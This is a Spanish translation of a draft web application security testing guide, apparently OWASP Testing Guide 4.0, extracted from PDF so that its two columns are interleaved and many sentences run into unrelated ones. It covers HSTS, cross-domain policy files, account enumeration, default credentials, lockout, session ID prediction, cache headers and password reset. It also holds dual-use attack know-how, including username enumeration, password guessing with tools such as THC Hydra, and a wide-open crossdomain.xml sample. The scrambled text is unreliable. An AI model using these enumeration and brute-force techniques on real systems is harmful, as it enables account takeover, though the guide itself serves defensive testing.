Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009
22:44:31 GMT; domain=www.example.com Libros Blancos
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 RFC 2616: Hypertext Transfer Protocol -- HTTP/1.1
22:54:31 GMT; domain=www.example.com
RFC 2109 and RFC 2965: HTTP State Management Mechanism
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007
22:44:30 GMT; domain=www.example.com
Connection: close Amit Klein: XS(T) attack variants which can, in some cases, eliminate the
need for TRACE - securityfocus.com
Si el evaluador obtiene un "405 Method not allowed " o "501 Method Arshan Dabirsiaghi: Bypassing VBAAC with HTTP Verb Tampering -
Unimplemented", el objetivo static.swpag.info
aplicacin/framework/lenguaje/sistema/firewall) est funcionando
correctamente. Si regresa un cdigo de respuesta "200", y la respuesta no
contiene ningna informacin, es probable que la aplicacin ha procesado
la solicitud sin autenticacin o autorizacin y se deben realizar pruebas
para certificarlas.
Pruebe el HTTP Strict Transport Security
(OTG-CONFIG-007)
Resumen
Considerando la importancia de esta medida de seguridad, es importante $ curl -s -D- https://domain.com/ | grep Strict
verificar que el sitio web utilice este encabezado HTTP, para garantizar
que todos los datos viajan encriptados desde el navegador al servidor.
Resultado esperado:
La funcin HTTP Strict Transport Security (HSTS) permite a una Strict-Transport-Security: max-age=...
aplicacin web informar al navegador, mediante el uso de un encabezado
de respuesta especial, que nunca debe establecer una conexin con los
servidores de dominio especificados mediante HTTP. En su lugar debe
Referencias
establecer automticamente todas las solicitudes de conexin para
acceder al sitio a travs de HTTPS.
OWASP HTTP Strict Transport Security - owasp.org
Resumen
Este es un ejemplo de la aplicacin de la Rbrica HSTS:
Aplicaciones Enriquecidas de Internet (RIA) han adoptado los archivos de
Strict-Transport-Security: max-age=60000; includeSubDomains
polticas de Adobe crossdomain.xml para permitir el acceso controlado de
dominio cruzado para consumo de datos y servicios, utilizando
tecnologas como Oracle Java, Silverlight y Adobe Flash. Por lo tanto, un
dominio puede conceder acceso remoto a sus servicios desde un dominio
El uso del encabezado por parte de las aplicaciones web debe revisarse
diferente. Sin embargo, a menudo los archivos de polticas que describen
para encontrar si podran producirse los siguientes problemas de
las restricciones de acceso se configuran pobremente. Una configuracin
seguridad:
pobre de los archivos de directivas permite ataques de Cross-site Request
Forgery (Falsificacin de peticiones de sitios cruzados) y puede permitir
a terceros acceder a los datos sensibles para el usuario.
Los atacantes olfateando el trfico de red y accediendo a la informacin
transferida a travs de un canal sin codificar.
Los atacantes explotando un ataque de intermediario (man in the middle) Cules son los archivos de directivas entre dominios?
debido al problema de aceptar certificados que no son de
Un archivo de polticas de dominios cruzados especifica los permisos que
confianza. un cliente web como Java, Adobe Flash, Adobe Reader, etc. utilizan para
acceder a datos entre dominios diferentes. Para Silverlight, Microsoft
Los usuarios que entraron por error una direccin en el navegador, poniendo adopt un subconjunto del crossdomain.xml de Adobe y, adems, cre su
HTTP en lugar de HTTPS, o usuarios que hagan clic en un vnculo en una propio archivo de directivas entre dominios: clientaccesspolicy.xml.
aplicacin web que indic por error el protocolo HTTP.
<?xml version=1.0?>
Cada vez que un cliente web detecta que un recurso tiene que ser
<!DOCTYPE cross-domain-policy SYSTEM
solicitado a otro dominio, primero buscar un archivo de polticas en el
dominio de destino para determinar si puede realizar peticiones de
http://www.adobe.com/xml/dtds/cross-domain-policy.dtd>
dominio cruzado, incluyendo encabezados, y si se permiten los enlaces
basados en tomas de conexin (socket-based connections) .
<cross-domain-policy>
<site-control permitted-cross-domain-policies=all/>
Los archivos maestros de polticas se encuentran en la raz del dominio. <allow-access-from domain=* secure=false/>
Un cliente puede recibir instrucciones para cargar un archivo de polticas
diferentes, pero siempre comprobar el archivo maestro de poltica <allow-http-request-headers-from domain=* headers=*
primero, para asegurarse de que el archivo maestro de polticas permite secure=false/>
el archivo de polticas solicitado.
</cross-domain-policy>
La mayora de las aplicaciones RIA soportan crossdomain.xml. Sin Cmo pueden los archivos de polticas de dominios cruzados ser
embargo, en el caso de Silverlight, solo le est permitido funcionar si forzados?
crossdomain.xml especifica que el acceso se permite desde cualquier
dominio. Para un control ms detallado con Silverlight, debe usarse Polticas de dominios cruzados excesivamente permisivas.
clientaccesspolicy.xml.
Que generan respuestas del servidor que pueden ser tratadas como
archivos de polticas de dominios cruzados.
Los archivos de polticas conceden varios tipos de permisos: Que usan la funcionalidad de carga de archivos para subirlos y tratarlos
como archivos de polticas de dominios cruzados.
Permisos de encabezados Leer datos restringidos o que estaban protegidos por polticas de origen
cruzado.
Permisos de acceso HTTP/HTTPS
http://www.owasp.org/crossdomain.xml and
http://www.owasp.org/clientaccesspolicy.xml.
Ejemplo:
Pruebe las Definiciones de Roles (OTG-
<cross-domain-policy>
IDENT-001)
<allow-access-from domain=* />
Resumen
</cross-domain-policy>
Es comn en las empresas modernas definir funciones de sistema para la
gestin de usuarios y autorizacin de recursos del sistema. En la mayora
de las implementaciones de sistema, se espera que existan al menos dos
Resultado esperado: funciones: los administradores y usuarios regulares. El primero
representa un papel que permite el acceso a la funcionalidad privilegiada
e informacin sensible; el segundo que representa un papel que permite
el acceso a informacin y funcionalidad del negocio regular. Los roles
una lista de archivos de polticas encontrados. bien desarrollados deben estar alineados con los procesos de negocio que
estn soportados por la aplicacin.
Una configuracin dbil en las polticas.
Adobe: Cross-domain policy file usage recommendations for Flash Player Pruebe los objetivos
- adobe.com
Ingeniera de roles
Cmo probar Crear mapas de los roles del negocio a los roles del sistema
Con o sin ayuda de los desarrolladores del sistema o administradores, Separacin de funciones
desarrolle un rol versus la matriz de permisos. La matriz debe enumerar
todos los roles que pueden ser provisionados y explorar los permisos que
pueden aplicarse a los objetos, as como las restricciones. Si una matriz es
proporcionada con la aplicacin, esta debe ser validada por el evaluador;
Pruebe el Proceso de Registro del Usuario
si no existe, el evaluador debe generar y determinar si la matriz satisface
las polticas de acceso deseado por la aplicacin. (OTG-IDENT-002)
Resumen
Ejemplo Algunos sitios web ofrecen un proceso de registro del usuario, que
automatiza (o semi-automatiza) la creacin del acceso al sistema para los
Un ejemplo real de definiciones de roles se puede encontrar en la usuarios. Los requisitos de identidad para el acceso varan desde
documentacin de funciones de WordPress [1]. WordPress tiene seis identificacin positiva a ninguna en absoluto, dependiendo de los
roles por defecto desde Super Administrador hasta Suscriptor. requisitos de seguridad del sistema. Muchas aplicaciones pblicas
automatizan totalmente el registro y el proceso de provisionamiento
porque el tamao de la base de usuarios hace que sea imposible
manejarla manualmente. Sin embargo, muchas aplicaciones corporativas
provisionan usuarios manualmente, por lo que este tipo de prueba puede
no ser aplicable.
Objetivos de la prueba
Referencias
[1] Cualquier persona puede registrarse para acceder?
[1] Role Engineering for Enterprise Security Management, E Coyne & J
Davis, 2007
[2] Son validados por un ser humano antes de crear los registros, o se
conceden automticamente si se cumplen los criterios?
[2] Role engineering and RBAC standards
Un proxy HTTP puede ser una herramienta til para probar este control.
Referencias
[2] Puede el intercambio de informacin durante el registro ser Diseo de registro de usuarios
manipulado?
Remediacin
Ejemplo
Implemente una identificacin y verificacin de requisitos que
En el siguiente ejemplo de WordPress, el nico requisito de identificacin corresponden a los requisitos de seguridad de la informacin que las
es una direccin de correo electrnico accesible a la persona registrada. credenciales protegen.
Objetivos de la Prueba
En cambio, en el ejemplo de Google a continuacin, la identificacin de Verifique qu cuentas pueden aprovisionar otras cuentas y de qu tipo.
requisitos incluye nombre, fecha de nacimiento, pas, nmero de telfono
mvil, direccin de correo electrnico y respuesta CAPTCHA. Mientras
que slo dos de estos pueden verificarse (direccin email y nmero de
mvil), los requisitos de identificacin son ms estrictos que en Cmo probar
WordPress.
Herramientas
Puede un administrador o usuario eliminar su cuenta? Aunque el enfoque ms exhaustivo y exacto para completar esta prueba
es llevarla a cabo manualmente, las herramientas de proxy HTTP tambien
pueden ser tiles.
Cmo son gestionados los archivos o recursos propiedad del usuario eliminado?
Se eliminan? Se transfiere el acceso?
El evaluador debe interactuar con el mecanismo de autenticacin de la El navegador debe mostrar un mensaje similar al siguiente:
aplicacin para entender si, enviando peticiones en particular, se logra
que la aplicacin responda de diferentes maneras. Este problema existe
porque la informacin de aplicacin web o servidor web es diferente
cuando el usuario proporciona un nombre de usuario vlido que cuando
usa uno no vlido.
Cmo probar
Resultado esperado:
http://www.foo.com/err.jsp?User=gooduser&Error=2
Generalmente, la aplicacin debe responder con el mismo mensaje de
error y la longitud a las distintas solicitudes incorrectas. Si las respuestas
no son iguales, el evaluador debe investigar y averiguar la clave que crea Como se ve arriba, cuando un evaluador proporciona un ID de usuario y
una diferencia entre las dos respuestas. Por ejemplo: una contrasea a la aplicacin web, ven un mensaje que indica que se ha
producido un error en la URL. En el primer caso han proporcionado un ID
de usuario equivocado y una contrasea equivocada. En el segundo, un ID
de usuario correcto y una contrasea equivocada, as que pueden
Solicitud del cliente: usuario vlido/ contrasea invlida--> identificar un ID de usuario vlido.
Solicitud del cliente: : usuario invlido/ contrasea invlida --> -Sondeo de una URI
Respuesta del servidor: 'Usuario no reconocido' A veces un servidor web responde diferente si recibe una solicitud de un
directorio existente o no. Por ejemplo, en algunos portales, cada usuario
est asociado con un directorio. Si los evaluadores intentan acceder a un
directorio existente, ellos podran recibir un error de servidor web.
Las respuestas anteriores permiten al evaluador entender con la primera
solicitud que tienen un nombre de usuario vlido para interactuar con la Un error muy comn que se recibe desde el servidor web es:
aplicacin, solicitando un conjunto de posibles usuarios y observar la
respuesta.
recibir "200 ok" con una imagen; en este caso, podemos suponer que
cuando recibimos la imagen especfica el usuario no existe. Esta lgica
En el primer caso el usuario existe, pero el evaluador no puede ver la puede aplicarse a otra respuesta del servidor web; el truco es un buen
pgina anlisis de los mensajes del servidor web y de la aplicacin web.
CN000101
-Anlisis de los ttulos de la Pgina Web
.
Los evaluadores pueden recibir informacin til del ttulo de la pgina
web, donde pueden obtener un cdigo de error especfico o mensajes que A veces los usuarios son creados con un alias REALM y luego nmeros
revelan si los problemas son del usuario o contrasea. secuenciales:
Por ejemplo, si un usuario no puede autenticarse en una aplicacin y R2001 user 001 for REALM2
recibe una pgina web cuyo ttulo es similar a:
Por ejemplo, un mensaje similar al siguiente: ID de usuarios asociados con nombres reales, por ejemplo, si Freddie
Mercury tiene un ID de usuario de "fmercury", entonces usted podra
Usuario Invlido: e-mail address is not valid or the specified user was not found.
adivinar que Roger Taylor tiene el ID de usuario "rtaylor".
Usuario vlido: Your password has been successfully sent to the email address you
registered with.
Una vez ms, podemos intuir un nombre de usuario de la informacin
recibida de una consulta LDAP o de la recopilacin de informacin de
Google, por ejemplo, de un dominio especfico. Google puede ayudar a
encontrar los usuarios de un dominio a travs de consultas especficas o a
travs de secuencias de comandos de carcaza (shell scripts) simples o
- Mensaje de Error 404 amigable
herramientas.
Cuando solicitamos a un usuario dentro del directorio que no existe, no
siempre recibimos un cdigo de error 404. Por el contrario, podemos
Atencin: mediante la enumeracin de cuentas de usuario, se arriesga a Asegrese de que la aplicacin devuelve mensajes de error genricos,
bloquear las cuentas despus de un nmero predefinido de intentos consistentes en respuesta a nombres de cuenta vlidos, contraseas u
fallidos (basado en las polticas de la aplicacin). Tambin, a veces, su otras credenciales de usuario, ingresados durante el proceso de registro.
direccin IP puede ser prohibida por reglas dinmicas en la aplicacin
firewall o sistema de prevencin de intrusin.
Asegrese que las cuentas de pruebas del sistema y cuentas por defecto
se eliminen antes de lanzar el sistema a produccin (o exponindola a
Pruebas de Caja Gris una red no confiable).
Objetivos de la Prueba
Herramientas
Determine si una estructura de nombres de cuenta constante hace que la
WebScarab: OWASP_WebScarab_Project aplicacin sea vulnerable a la enumeracin de la cuenta. Determine si los
mensajes de error de la aplicacin permiten la enumeracin de la cuenta.
CURL: curl.haxx.se
PERL: perl.org
Cmo probar
Sun Java Access & Identity Manager users enumeration tool:
Determine la estructura de nombres de cuentas.
aboutsecurity.net
Evale la respuesta de la aplicacin a nombres de cuentas vlidos y no
vlidos.
Remediacin
Remediacin
En seguridad informtica, la autenticacin es el proceso de intentar Para complicar ms las cosas, existe la posibilidad de que el sitio tenga la
verificar la identidad digital del remitente de una comunicacin. Un pgina de inicio accesible a travs de HTTP (hacindonos creer que la
ejemplo comn de este proceso es el proceso de registro. Probar el transmisin es insegura), pero en realidad enva datos a travs de HTTPS.
esquema de autenticacin significa comprender cmo funciona el proceso Esta prueba se hace para asegurarse que un atacante no pueda recuperar
de autenticacin y usar esa informacin para eludir el mecanismo de informacin sensible simplemente husmeando en la red con una
autenticacin. herramienta de olfateo ( sniffer).
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14)
Gecko/20080404 Gecko/20080404
Content-length: 64
Ahora, imagine una pgina web accesible a travs de HTTP y que slo los
datos enviados desde el formulario de autenticacin se transmiten a travs
Ejemplo 2: Envo de datos con el mtodo POST a travs de HTTPS de HTTPS. Esta situacin ocurre, por ejemplo, cuando estamos en un portal
de una gran empresa que ofrece diferente informacin y servicios que estn
Supongamos que nuestra aplicacin web utiliza el protocolo HTTPS para disponibles pblicamente, sin identificacin; pero el sitio tambin tiene una
cifrar los datos que estamos enviando (o por lo menos para la transmisin seccin privada, accesible desde la pgina de inicio cuando los usuarios
de datos confidenciales, como credenciales). En este caso, cuando se inicia la inician una sesin; por lo que, al intentar iniciar la sesin, el encabezado de
aplicacin web, el encabezado de la solicitud POST sera similar al siguiente: la solicitud se ver como el siguiente ejemplo:
Content-length: 45
User=test&Pass=test&portal=ExamplePortal
Referencias
Libros Blancos
SSL is not about encryption Pruebas de las credenciales por defecto de aplicaciones comunes
Personal tcnico sin experiencia que no es consciente de la importancia de Muchas aplicaciones tienen mensajes de error detallados que informan a
cambiar las contraseas por defecto en componentes de la infraestructura los usuarios sobre la validez de nombres de usuario introducidos. Esta
instalada o dejar la contrasea por defecto para "facilidad de informacin ser til cuando se busquen cuentas de usuario por defecto
mantenimiento". o predecibles. Dicha funcionalidad puede encontrarse, por ejemplo, en las
pginas de registro, restablecimiento de contrasea, contrasea olvidada
Programadores que dejan puertas traseras para tener fcil acceso y probar y de inscripcin. Una vez que ha encontrado un nombre de usuario por
su aplicacin y despus olvidan eliminarlas. defecto, tambin podra empezar a adivinar contraseas para esta cuenta.
Los usuarios administradores de una aplicacin se nombran a menudo con el Los siguientes pasos pueden aplicarse para probar estos tipos de
nombre de la aplicacin u organizacin. Esto significa que si est probando credenciales predeterminadas:
una aplicacin denominada "Oscuridad", intente usar oscuridad/oscuridad o
cualquier otra combinacin similar como el nombre de usuario y contrasea.
Cuando se realiza una prueba para un cliente, intntelo usando los nombres de
contactos que reciban como nombres de usuario con contraseas comunes. Mirar en la pgina de registro de usuarios puede ayudar a determinar el
Las direcciones de correo electrnico de clientes revelan el acuerdo de formato esperado y la longitud mnima o mxima de nombres y contraseas
nombres para cuentas del usuario: si el empleado John Doe tiene la direccin de la aplicacin. Si no existe una pgina de registro de usuarios, determine si
de correo electrnico [email protected], puede tratar de encontrar los la organizacin utiliza un acuerdo de nomenclatura estndar para los nombres
nombres de los administradores de sistemas en las redes sociales y adivinar su de usuario como su direccin de correo electrnico o el nombre antes de la
nombre de usuario mediante la aplicacin de la misma convencin a su "@" en el correo electrnico.
nombre.
Trate de extrapolar, a partir de la aplicacin, cmo se generan los nombres
de usuario. Por ejemplo, un usuario puede escoger su propio nombre de
usuario o el sistema genera un nombre de cuenta para el usuario basado en
Trate de usar todos los nombres de usuario anteriores con contraseas en alguna informacin personal o usando una secuencia predecible? Si la
blanco. aplicacin genera los nombres de cuenta en una secuencia predecible, como
user7811, trate de disolver recursivamente todas las cuentas posibles. Si puede
Revise la fuente de la pgina y JavaScript, ya sea a travs de un proxy o identificar una respuesta diferente de la aplicacin cuando se utiliza un
mediante la visualizacin de la fuente. Busque cualquier referencia a los nombre de usuario vlido y una contrasea incorrecta, entonces puede intentar
usuarios y contraseas en la fuente. Por ejemplo If username=admin then un ataque forzoso con el nombre de usuario vlido (o rpidamente probar
starturl=/admin.asp else /index.asp. (para un registro exitoso versus un cualquiera de las contraseas comunes identificadas antes en la seccin de
registro fallido).Tambin, si usted tiene una cuenta vlida, entonces registre y referencia).
revise cada solicitud y respuesta para un registro vlido versus un registro no
vlido, como parmetros adicionales ocultos, peticiones GET interesantes
(login = yes), etc.
Trate de determinar si la contrasea generada por el sistema es predecible.
Para ello, cree rpidamente muchas cuentas nuevas, una tras otra, para que
pueda comparar y determinar si las contraseas son predecibles. Si son
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
104
Guia de pruebas 4.0 "Borrador"
Virus.org: virus.org
Prueba de Caja Gris
Herramientas
Informacin o datos confidenciales: Las secciones privadas de una
Burp Intruder: portswigger.net aplicacin web podran revelar documentos confidenciales, datos de
perfil de los usuarios, informacin financiera, datos bancarios, relaciones
THC Hydra: thc.org de los usuarios, etc..
Brutus: hoobie.net
Nikto 2: cirt.net Los paneles de administracin: Estas secciones son utilizadas por los
webmasters para gestionar (modificar, borrar, aadir) el contenido de
aplicaciones web, gestin de creacin de usuarios, asignar diferentes [6] Inicie la sesin con la contrasea correcta. La aplicacin devuelve "su
privilegios a los usuarios, etc. cuenta est bloqueada.", confirmando as que la cuenta se bloquea
despus de cinco intentos de autenticacin incorrecta.
Evaluar la resistencia del mecanismo de liberacin para abrir sin Un CAPTCHA puede dificultar los ataques de fuerza bruta, pero puede
autorizacin la cuenta. venir con su propio conjunto de debilidades (ver Probando el CAPTCHA)
y no debe reemplazar a un mecanismo de bloqueo.
Cmo probar
Para evaluar la resistencia del mecanismo de liberacin para desbloquear
Por lo general, para probar la fuerza de los mecanismos de bloqueo, se la cuenta, inicie el mecanismo de desbloqueo y busque las debilidades.
necesitar acceso a una cuenta a la que usted est dispuesto o pueda
darse el lujo de bloquear. Si tiene solo una cuenta con la que puede iniciar
una sesin en la aplicacin web, realice esta prueba al final del plan de
pruebas para evitar que usted no pueda continuar su prueba debido a una Los mecanismos tipicos de desbloqueo pueden involucrar preguntas
cuenta bloqueada. secretas o un link de desbloqueo por correo electrnico.El enlace de
desbloqueo deber ser un enlace nico de un solo uso, para evitar que un
atacante adivine o reproduzca el enlace y realice ataques forzosos en
lotes. Las preguntas y respuestas secretas deben ser fuertes (ver
Para evaluar la capacidad del mecanismo de bloqueo de cuentas para Probando pregunta/respuesta de seguridad dbil).
mitigar el forzado o adivinanza de contraseas, intente realizar un
registro invlido mediante el uso de la contrasea incorrecta varias veces,
antes de utilizar la contrasea correcta para verificar que la cuenta fue
bloqueada. El siguiente es un ejemplo de la prueba:
Referencias
Vea el articulo de OWASP Sobre Ataques Forzosos. Los problemas relacionados con el esquema de autenticacin pueden
encontrarse en diferentes etapas del ciclo de vida de desarrollo de
software (SDLC), como las fases de diseo, desarrollo e implementacin:
Remediacin
Aplique mecanismos de desbloqueo de cuentas dependiendo del nivel de En los errores de la fase de diseo, se puede incluir una definicin
riesgo. En orden de menor a mayor seguridad: equivocada de las secciones de la aplicacin a proteger, la opcin de no
aplicar protocolos de encriptacin fuertes para asegurar la transmisin
de las credenciales y muchos ms.
[2] Desbloqueo con autoservicio (desbloqueo que enva un correo electrnico a la En la fase de implementacin de la aplicacin, puede haber problemas
direccin de correo electrnico registrada). durante la instalacin de la aplicacin (actividades de instalacin y
configuracin) debido a la falta de habilidades tcnicas requeridas o por
[3] Desbloqueo manual por un administrador. falta de una buena documentacin.
Modificacin de parmetros
HTTP/1.1 200 OK
Solicitud de pgina directa
Date: Sat, 11 Nov 2006 10:22:44 GMT
Si una aplicacin web implementa el control de acceso slo en el registro
en la pgina, el esquema de autenticacin se podra eludir. Por ejemplo, si
Server: Apache
un usuario solicita directamente una pgina diferente a travs de la
navegacin forzada, esa pgina puede no comprobar las credenciales del Connection: close
usuario antes de conceder el acceso. Intente acceder directamente a una
pgina protegida a travs de la barra de direcciones en su navegador para Content-Type: text/html; charset=iso-8859-1
utilizar este mtodo de prueba.
<HTML><HEAD>
</HEAD><BODY>
</BODY></HTML>
Modificacin de parmetros
Prediccin de sesin ID
podra ser capaz de encontrar un Identificador de Sesin vlida y obtener Inyeccin de SQL (Formulario de Autenticacin HTML)
acceso no autorizado a la aplicacin, hacindose pasar por un usuario
previamente autenticado. Una inyeccin de SQL es una tcnica de ataque ampliamente conocida.
Esta seccin no describir esta tcnica en detalle ya que hay varias
secciones en esta gua que explican tcnicas de inyeccin ms all del
alcance de esta seccin.
En la siguiente figura, los valores dentro de las cookies aumentan
linealmente, por lo que podra ser fcil para un atacante adivinar un
Identificador de Sesin vlida.
1. if ( isset($HTTP_COOKIE_VARS[$cookiename . _sid]) ||
7. $sessionmethod = SESSION_METHOD_COOKIE; Adems, algunos sitios web ofrecen funcionalidades personalizadas de "
Recurdame" para permitir que los usuarios mantengan su sesin en un
8. } sistema de cliente especfico.
9.
Referencias
Mark Roxberry: PHPBB 2.0.13 vulnerability Busque las contraseas que se almacenan en una cookie. Examine las
cookies almacenadas por la aplicacin. Compruebe que las credenciales no se
David Endler: Session ID Brute Force Exploitation and Prediction - almacenan en texto claro, sino con funciones hash.
http://www.cgisecurity.com/lib/SessionIDs.pdf
Examinar el mecanismo de hashing: si se trata de un algoritmo comn, bien comparten la misma debilidad de presentar informacin sensible previamente
conocido, compruebe su fuerza; en las funciones hash de creacin propia ; mostrada.
intente varios nombres de usuario para comprobar si la funcin de hash es
fcilmente predecible.
Compruebe que las credenciales sean enviadas solamente durante la fase el La primera y ms simple prueba consiste en introducir informacin sensible
registro y no con cada solicitud a la aplicacin. en la aplicacin y cerrar la sesin. Entonces el evaluador hace clic en el botn
"Atrs" del navegador para comprobar si accede o muestra informacin
Considere otros campos sensibles (por ejemplo, una respuesta a una sensible ingresada anteriormente sin ser autenticado.
pregunta secreta que debe ingresarse en una cuenta de recuperacin de
contrasea o formulario de desbloqueo).
Resumen
En esta fase el evaluador comprueba que la aplicacin indique correctamente El botn "Atrs" puede detenerse para que no muestre datos sensibles. Esto
al navegador que no recuerde datos sensibles. puede hacerse mediante:
Los navegadores pueden almacenar informacin con fines de almacenamiento Ajustando el Control de Cach: a "must-revalidate"
en cach e historia. El almacenamiento en cach se utiliza para mejorar el
rendimiento; as la informacin que apareci previamente no necesita
descargarse otra vez. Se utilizan mecanismos de historia para conveniencia del
usuario, por lo que l puede ver exactamente lo que vio en el momento de Cache de navegador
obtener el recurso.
Aqu los evaluadores comprueban que la aplicacin no tiene fugas de
datos sensibles hacia la cach del navegador. Para ello, pueden utilizar un
proxy (como WebScarab) y buscar a travs de las respuestas del servidor
Si se muestra informacin sensible al usuario (como su direccin, datos de que pertenecen al tiempo de la sesin, verificando que para cada pgina
tarjeta de crdito, nmero de seguro social o usuario), esta informacin podra que contenga informacin confidencial, el servidor instruy al navegador
ser almacenada con fines de almacenamiento en cach o de historia y, por lo para que no almacene los datos en cach. Una directiva de este tipo puede
tanto, ser recuperables examinando la cach del navegador o pulsando el emitirse en los encabezados de respuesta HTTP:
botn "Atrs" del navegador.
Cache-Control: no-cache, no-store
Expires: 0
Cmo probar
Pragma: no-cache
Historia del navegador
Estas directivas son generalmente robustas, aunque indicadores Prueba de Caja Gris
adicionales pueden ser necesarios para el encabezado Cache-Control para
prevenir de una mejor manera los archivos vinculados persistentemente La metodologa para la prueba es equivalente al caso de la Caja Negra, ya
en el sistema de archivos. Estos incluyen: que en ambos escenarios los evaluadores tienen acceso completo a las
cabeceras de respuesta del servidor y el cdigo HTML. Sin embargo, con
Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, s- pruebas de Caja Gris, el evaluador puede tener acceso a las credenciales
maxage=0 de la cuenta que les permitir probar pginas sensibles que son
accesibles slo a usuarios autenticados.
HTTP/1.1:
Herramientas
Cache-Control: no-cache
OWASP Zed Attack Proxy
Pragma: no-cache
Referencias
Expires: <past date or illegal value (e.g., 0)>
Libros Blancos
Objetivos de la prueba
[1] Mozilla Firefox:
Determine la resistencia de la aplicacin contra ataques de fuerza bruta o
Unix/Linux: ~/.mozilla/firefox/<profile-id>/Cache/ adivinanza de contrasea usando diccionarios de contraseas disponibles
mediante la evaluacin de los requerimientos de longitud, complejidad,
Windows: C:\Documents and Settings\<user_name>\Local reutilizacin y caducidad de las contraseas.
Settings\Application Data\Mozilla\Firefox\Profiles\<profile-id>\Cache
caracteres como letras minsculas y maysculas, dgitos y smbolos Tpicamente se generan con la creacin de la cuenta y requieren que el
especiales? usuario seleccione algunas de las preguntas previamente generadas y
provea una respuesta adecuada. Puede permitir al usuario generar sus
[2] Con qu frecuencia puede un usuario cambiar su contrasea? Qu tan propios pares de preguntas y respuestas. Ambos mtodos son propensos
rpido puede un usuario cambiar su contrasea despus de un cambio a inseguridades. Idealmente, las preguntas de seguridad deben generar
anterior? Los usuarios pueden eludir requisitos de historial de contrasea respuestas que slo son conocidas por el usuario y no pueden ser
cambiando su contrasea cinco veces seguidas para que despus del ltimo predichas o descubiertas por nadie ms. Esto es ms difcil de lo que
cambio de contrasea recuperen su contrasea inicial otra vez. suena.
Referencias
Las respuestas pueden ser conocidas por los familiares o amigos cercanos
del usuario, por ejemplo, "Cul es el apellido de soltera de su madre?",
Brute Force Attacks: owasp.org
"Cul es su fecha de nacimiento?"
Password length & complexity: owasp.org
Las respuestas pueden ser fcilmente predecibles, e.g. "Cul es su color
favorito?", "Cul es su equipo favorito de bisbol?"
Las respuestas pueden ser atacadas con fuerza bruta, por ejemplo, "Cul es
Remediacin
el nombre de su profesora favorita de secundaria?" - La respuesta est
probablemente en alguna lista fcilmente descargable de nombres populares y,
Para mitigar el riesgo de contraseas fcilmente adivinables facilitando el
por lo tanto, un ataque de fuerza bruta simple puede secuenciarse en un script.
acceso no autorizado, hay dos soluciones: introducir controles de
autenticacin adicionales (es decir, autenticacin de dos factores) o introducir
Las respuestas pueden ser pblicamente visibles, por ejemplo, cul es su
una poltica de contraseas fuertes. El ms simple y ms barato de estos es la
pelcula favorita?"- la respuesta puede encontrarse fcilmente en la pgina de
introduccin de una poltica de contrasea fuerte que asegura la longitud, la
perfil de redes sociales del usuario.
complejidad, la reutilizacin y la caducidad de la contrasea.
Mi clave es M3@t$p1N
Trate de obtener una lista de preguntas de seguridad mediante la Una respuesta objetiva como la "primera escuela" u otros hechos que pueden
creacin de una nueva cuenta o siguiendo el proceso de I dont consultarse.
remember my password (no recuerdo mi contrasea). Trate de generar
tantas preguntas como sea posible para obtener una buena idea del tipo Algunas posibles respuestas, tales como "qu modelo fue su primer
de preguntas de seguridad que se hacen. Si alguna de las preguntas de automvil". Estas preguntas dan al atacante una lista corta de posibles
seguridad cae en las categoras descritas anteriormente, son vulnerables respuestas y, basado en estadsticas, el atacante podra calificar las respuestas
a ser atacadas (adivinadas,ataque de fuerza bruta, disponible en las redes de ms a menos probables.
sociales, etc.).
https://www.schneier.com/essays/archives/2005/02/the_curse_of_the_sec.htm
l
El siguiente paso es evaluar la solidez de las preguntas de seguridad. Las
respuestas se obtendran por una simple bsqueda en Google o con
ataque de ingeniera social? Como evaluador de penetracin, este es un
Pruebas para determinar un cambio dbil de contrasea o funciones de
tutorial paso a paso de cmo explotar un esquema de preguntas de
restablecimiento (OTG-AUTHN-009)
seguridad:
Resumen
El cambio de contrasea y la funcin de restablecimiento de una Por otro lado, si se utilizan preguntas secretas, el siguiente paso es
aplicacin es un autoservicio de cambio de contrasea o un mecanismo evaluar su solidez. Esta prueba especfica se discute en el prrafo de
de restablecimiento para los usuarios. Este mecanismo de autoservicio Probando la Seguridad Dbil de Pregunta/Respuesta de esta gua.
permite a los usuarios cambiar o restablecer rpidamente la contrasea
sin que un administrador intervenga. Cuando se cambian las contraseas
se cambian tpicamente dentro de la aplicacin. Cuando las contraseas
se restablecen son presentadas dentro de la aplicacin o por correo Cmo se comunican las contraseas restablecidas al usuario?
electrnico al usuario. Esto puede indicar que las contraseas se
almacenan en texto plano o formato desencriptable.
[2] Determine la resistencia de la funcin de restablecimiento de Un escenario menos inseguro es si la herramienta de restablecimiento de
contraseas contra el que puedan eludir o adivinar. contrasea obliga al usuario a cambiar inmediatamente su contrasea.
Aunque no tan sigilosamente como el primer caso, permite al atacante
obtener acceso y bloquer al usuario real.
Cmo probar
Tanto para el cambio de contrasea como para restablecer la contrasea, La mejor seguridad se logra si el restablecimiento de contrasea se
es importante verificar: realiza a travs de un correo electrnico a la direccin del usuario
inicialmente registrado o a alguna direccin de correo electrnico; Esto
fuerza al atacante no slo a adivinar a qu correo fue enviado el
restablecimiento de contrasea de la cuenta (a menos que la aplicacin
[1] Si los usuarios, que no son administradores, pueden cambiar o restablecer muestre esta informacin), sino tambin a comprometer la cuenta de
contraseas para cuentas que no sean la propia. correo electrnico, con el fin de obtener la contrasea temporal o el
vnculo para restablecer la contrasea.
[2] Si los usuarios pueden manipular o subvertir el cambio de contrasea o
restablecer el proceso para cambiar o restablecer la contrasea de otro usuario
o administrador.
Son las contraseas de restablecimiento generadas al azar?
[3] Si el cambio de contrasea o reinicio del proceso es vulnerable a CSRF.
El primer paso es comprobar si se requieren preguntas secretas. El envo La funcin de restablecimiento de contrasea solicita confirmacin antes de
de la contrasea (o un enlace de restablecimiento de contrasea) a la cambiar la contrasea?
direccin de correo electrnico del usuario, sin preguntar primero una
pregunta secreta, es confiar 100% en la seguridad de la direccin de
correo electrnico, que no es conveniente si la aplicacin necesita un alto
nivel de seguridad.
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
115
Guia de pruebas 4.0 "Borrador"
La contrasea anterior es solicitada para completar el cambio? Sitio web de accesibilidad optimizada
El escenario ms inseguro aqu es si la aplicacin permite el cambio de la Sitios web paralelos que utilizan el mismo usuario (por ejemplo, otra pgina
